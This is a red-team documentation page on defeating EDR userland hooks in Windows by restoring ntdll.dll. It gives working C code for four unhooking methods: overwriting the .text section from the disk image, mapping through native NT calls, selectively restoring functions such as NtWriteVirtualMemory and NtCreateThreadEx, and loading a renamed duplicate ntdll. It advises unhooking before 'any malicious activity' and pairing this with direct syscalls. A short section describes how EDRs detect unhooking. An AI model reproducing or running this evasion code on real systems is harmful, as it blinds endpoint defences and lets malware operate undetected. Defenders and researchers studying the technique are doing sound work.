> For the complete documentation index, see [llms.txt](https://docs.redteamleaders.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.redteamleaders.com/offensive-security/defense-evasion/api-unhooking-restoring-ntdll-to-a-clean-state.md).

# API Unhooking — Restoring ntdll to a Clean State

### What EDR Hooks Are

When an EDR is installed on a Windows system, its kernel driver registers a callback that is invoked whenever a new process is created. At that moment — before the process's main code executes — the EDR injects its DLL into the process address space and overwrites the first bytes of critical functions in `ntdll.dll` (and sometimes in other DLLs like `kernel32.dll`, `kernelbase.dll`) with jumps to its own inspection code.

This mechanism is called *inline hooking* and is the foundation of most modern EDRs' userland visibility.

```
┌──────────────────────────────────────────────────────────────────────┐
│                 EDR Hooking Process                                  │
│                                                                      │
│  1. Process created (suspended)                                      │
│  2. EDR driver receives PsSetLoadImageNotifyRoutine callback         │
│  3. EDR injects its DLL via section mapping                          │
│  4. EDR DLL walks ntdll.dll exports in memory                        │
│  5. For each target function:                                        │
│                                                                      │
│  BEFORE hook:                                                        │
│  ntdll!NtCreateFile:                                                 │
│    4C 8B D1     mov r10, rcx                                         │
│    B8 55 00 00  mov eax, 0x55                                        │
│    0F 05        syscall                                              │
│    C3           ret                                                  │
│                                                                      │
│  AFTER hook (EDR installed):                                         │
│  ntdll!NtCreateFile:                                                 │
│    E9 XX XX XX  jmp <EDR_DLL+offset>   ← 5 bytes overwritten        │
│    XX 00 00 00                                                        │
│    0F 05        syscall                 ← rest intact                │
│    C3           ret                                                  │
└──────────────────────────────────────────────────────────────────────┘
```

**Unhooking** is the technique of restoring those modified bytes back to their original values, effectively removing the EDR's ability to inspect API calls.

***

### Technique 1: Overwrite ntdll with a Copy from Disk

The most reliable approach: read the original image of `ntdll.dll` directly from disk (which was not modified by the EDR) and overwrite the `.text` section of the in-memory copy with the original bytes.

#### Why Disk is Trustworthy

The EDR hooks the DLL *in memory*, in the process address space. The file on disk remains intact. By mapping a fresh copy of the DLL from disk and copying the code section over the in-memory version, we restore all original bytes.

```c
#include <windows.h>
#include <stdio.h>

// Unhook via remapping ntdll from disk
BOOL UnhookNtdllFromDisk(void) {
    // 1. Open the ntdll.dll file from disk
    HANDLE hFile = CreateFileA(
        "C:\\Windows\\System32\\ntdll.dll",
        GENERIC_READ,
        FILE_SHARE_READ | FILE_SHARE_DELETE,
        NULL, OPEN_EXISTING, 0, NULL
    );
    if (hFile == INVALID_HANDLE_VALUE) return FALSE;

    // 2. Create a file mapping (read only — no execution needed)
    HANDLE hMap = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
    CloseHandle(hFile);
    if (!hMap) return FALSE;

    // 3. Map the disk image into memory
    LPVOID pDiskNtdll = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
    CloseHandle(hMap);
    if (!pDiskNtdll) return FALSE;

    // 4. Get the in-memory copy (potentially hooked)
    HMODULE hMemNtdll = GetModuleHandleA("ntdll.dll");
    if (!hMemNtdll) {
        UnmapViewOfFile(pDiskNtdll);
        return FALSE;
    }

    // 5. Locate the .text section in both images
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pDiskNtdll;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((BYTE*)pDiskNtdll + dos->e_lfanew);

    PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
    for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
        if (memcmp(sec->Name, ".text", 5) == 0) {

            // 6. Change protection of in-memory .text section to allow writing
            DWORD oldProtect = 0;
            PVOID textBase   = (PVOID)((BYTE*)hMemNtdll + sec->VirtualAddress);
            SIZE_T textSize  = sec->Misc.VirtualSize;

            VirtualProtect(textBase, textSize, PAGE_EXECUTE_WRITECOPY, &oldProtect);

            // 7. Overwrite with bytes from disk
            memcpy(
                textBase,
                (BYTE*)pDiskNtdll + sec->VirtualAddress,
                textSize
            );

            // 8. Restore original protection
            VirtualProtect(textBase, textSize, oldProtect, &oldProtect);

            printf("[+] ntdll.dll .text section restored (%zu bytes)\n", textSize);
            UnmapViewOfFile(pDiskNtdll);
            return TRUE;
        }
    }

    UnmapViewOfFile(pDiskNtdll);
    return FALSE;
}

int main(void) {
    if (UnhookNtdllFromDisk()) {
        puts("[+] Unhooking complete. ntdll in clean state.");
    }
    return 0;
}
```

***

### Technique 2: Mapping via NtMapViewOfSection (without CreateFileMapping)

To avoid detections based on calls to `CreateFileMapping` or `MapViewOfFile` (which some EDRs monitor), we can use native NT calls to map the section:

```c
#include <windows.h>

typedef NTSTATUS(WINAPI* pNtOpenFile)(
    PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES,
    PIO_STATUS_BLOCK, ULONG, ULONG
);
typedef NTSTATUS(WINAPI* pNtCreateSection)(
    PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES,
    PLARGE_INTEGER, ULONG, ULONG, HANDLE
);
typedef NTSTATUS(WINAPI* pNtMapViewOfSection)(
    HANDLE, HANDLE, PVOID*, ULONG_PTR, SIZE_T,
    PLARGE_INTEGER, PSIZE_T, DWORD, ULONG, ULONG
);
typedef NTSTATUS(WINAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);

BOOL UnhookViaNativeAPI(void) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");

    pNtOpenFile        NtOpenFile   = (pNtOpenFile)GetProcAddress(hNtdll, "NtOpenFile");
    pNtCreateSection   NtCreateSec  = (pNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
    pNtMapViewOfSection NtMapView   = (pNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection");
    pNtUnmapViewOfSection NtUnmapView = (pNtUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");

    // Build Unicode path for ntdll
    UNICODE_STRING uPath;
    WCHAR path[] = L"\\SystemRoot\\System32\\ntdll.dll";
    uPath.Buffer        = path;
    uPath.Length        = (USHORT)(wcslen(path) * 2);
    uPath.MaximumLength = uPath.Length + 2;

    OBJECT_ATTRIBUTES oa = {0};
    oa.Length = sizeof(OBJECT_ATTRIBUTES);
    oa.ObjectName = &uPath;

    IO_STATUS_BLOCK iosb = {0};
    HANDLE hFile = NULL;

    NTSTATUS st = NtOpenFile(
        &hFile,
        GENERIC_READ | SYNCHRONIZE,
        &oa, &iosb,
        FILE_SHARE_READ,
        FILE_SYNCHRONOUS_IO_NONALERT
    );
    if (st != 0) return FALSE;

    HANDLE hSection = NULL;
    st = NtCreateSec(
        &hSection,
        SECTION_MAP_READ | SECTION_MAP_EXECUTE,
        NULL, NULL,
        PAGE_READONLY, SEC_IMAGE,
        hFile
    );
    CloseHandle(hFile);
    if (st != 0) return FALSE;

    PVOID   pMapped = NULL;
    SIZE_T  viewSize = 0;

    st = NtMapView(
        hSection, (HANDLE)-1,
        &pMapped, 0, 0, NULL, &viewSize,
        1 /*ViewShare*/, 0, PAGE_READONLY
    );
    CloseHandle(hSection);
    if (st != 0) return FALSE;

    // Copy the .text section from the clean mapping to ntdll in memory
    // (same process as described in Technique 1)
    // ...

    NtUnmapView((HANDLE)-1, pMapped);
    return TRUE;
}
```

***

### Technique 3: Selective Unhooking per Function

Instead of restoring the entire `.text` section, we identify which functions are hooked and restore only those. This is more surgical and less noisy:

```c
// Detect if a function is hooked (first bytes != expected pattern)
BOOL IsFunctionHooked(PVOID funcAddr) {
    BYTE* fn = (BYTE*)funcAddr;
    // Expected pattern for Nt* stub on x64:
    // 4C 8B D1  (mov r10, rcx)
    // B8 xx xx  (mov eax, SSN)
    if (fn[0] != 0x4C || fn[1] != 0x8B || fn[2] != 0xD1) {
        return TRUE;  // First bytes changed → hooked
    }
    return FALSE;
}

// List of critical functions to check and unhook
const char* criticalFuncs[] = {
    "NtAllocateVirtualMemory",
    "NtWriteVirtualMemory",
    "NtCreateThreadEx",
    "NtOpenProcess",
    "NtQueueApcThread",
    "NtCreateSection",
    "NtMapViewOfSection",
    NULL
};

void SelectiveUnhook(PVOID pDiskNtdll, HMODULE hMemNtdll) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hMemNtdll;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((BYTE*)hMemNtdll + dos->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(
        (BYTE*)hMemNtdll + nt->OptionalHeader.DataDirectory[0].VirtualAddress
    );

    DWORD* names = (DWORD*)((BYTE*)hMemNtdll + exp->AddressOfNames);
    WORD*  ords  = (WORD*) ((BYTE*)hMemNtdll + exp->AddressOfNameOrdinals);
    DWORD* funcs = (DWORD*)((BYTE*)hMemNtdll + exp->AddressOfFunctions);

    for (int i = 0; criticalFuncs[i]; i++) {
        for (DWORD j = 0; j < exp->NumberOfNames; j++) {
            const char* name = (char*)((BYTE*)hMemNtdll + names[j]);
            if (strcmp(name, criticalFuncs[i]) != 0) continue;

            PVOID memFn  = (PVOID)((BYTE*)hMemNtdll + funcs[ords[j]]);
            PVOID diskFn = (PVOID)((BYTE*)pDiskNtdll + funcs[ords[j]]);

            if (!IsFunctionHooked(memFn)) continue;

            DWORD old = 0;
            VirtualProtect(memFn, 16, PAGE_EXECUTE_WRITECOPY, &old);
            memcpy(memFn, diskFn, 16);  // Restore first 16 bytes
            VirtualProtect(memFn, 16, old, &old);

            printf("[+] Unhooked: %s\n", criticalFuncs[i]);
        }
    }
}
```

***

### Technique 4: Unhooking via Duplicate Module (Loading a Second ntdll)

An interesting variant: instead of using the file on disk directly, we load a second instance of `ntdll.dll` into the process under a different name. Since the loader does not apply hooks to the second instance (the EDR only monitors the initial loading), the second instance can be used directly.

```c
// Copy ntdll to a temporary name and load as a separate module
BOOL LoadCleanNtdll(HMODULE* hClean) {
    char tempPath[MAX_PATH];
    GetTempPathA(MAX_PATH, tempPath);
    strcat_s(tempPath, MAX_PATH, "legit.dll");

    if (!CopyFileA("C:\\Windows\\System32\\ntdll.dll", tempPath, FALSE))
        return FALSE;

    *hClean = LoadLibraryA(tempPath);
    DeleteFileA(tempPath);  // Remove from disk after loading

    return *hClean != NULL;
}
```

> **Limitation**: Some EDRs monitor `LoadLibrary` and check whether the loaded module has hooks applied. Additionally, the temporary file name may draw attention in file activity logs.

***

### Unhooking Detection

```
┌──────────────────────────────────────────────────────────────────────┐
│              How EDRs Detect Unhooking Attempts                      │
│                                                                      │
│  1. VirtualProtect monitoring on system module regions               │
│     • VirtualProtect on ntdll .text is unusual in legitimate apps   │
│                                                                      │
│  2. Periodic hook integrity scan                                     │
│     • EDR re-checks its hooks periodically via a dedicated thread    │
│     • If hook was removed, it re-applies and flags the process       │
│                                                                      │
│  3. Kernel callbacks independent of userland hooks                   │
│     • PsSetCreateThreadNotifyRoutine (thread creation)               │
│     • ObRegisterCallbacks (object access)                            │
│     • MiniFilter (file operations)                                   │
│     These callbacks are in the kernel and cannot be removed          │
│     by userland techniques.                                          │
│                                                                      │
│  4. CreateFileMapping / MapViewOfFile on ntdll                       │
│     • Unusual file mapping activity on a system module               │
└──────────────────────────────────────────────────────────────────────┘
```

***

### Combined Approach in Real Engagements

In practice, unhooking is almost always combined with other techniques:

1. **Unhook first, execute later**: Remove hooks before any malicious activity to ensure API calls are not inspected.
2. **Combined with direct/indirect syscalls**: For the unhooking operations themselves (VirtualProtect), use direct syscalls to avoid the unhooking process itself being detected.
3. **Selective unhooking**: Instead of restoring all of ntdll (which might trigger the EDR's integrity scan), restore only the functions needed for the current operation.

***

### References

* Aleksandra Doniec (hasherezade), "PE-sieve — Scanning for Hooks" — github.com/hasherezade/pe-sieve
* ired.team, "Unhooking the Entire ntdll.dll" — ired.team/offensive-security/defense-evasion/
* am0nsec, "Freshycalls: Syscall-Based API Unhooking" — github.com/am0nsec
* Sektor7, "Malware Dev: API Unhooking Techniques" — sektor7.net
* Kyle Avery, "NtMapViewOfSection Injection and Unhooking" — kyleleavery.com (2021)
* Josh Lospinoso, "Offensive Security with Go" — Chapter on Unhooking (2022)
* WithSecure Labs, "NTDLL Unhooking from a Different Process" — labs.withsecure.com (2022)
* Reenz0h (Sektor7), "Malware Development: Evasion: API Unhooking" — sektor7.net
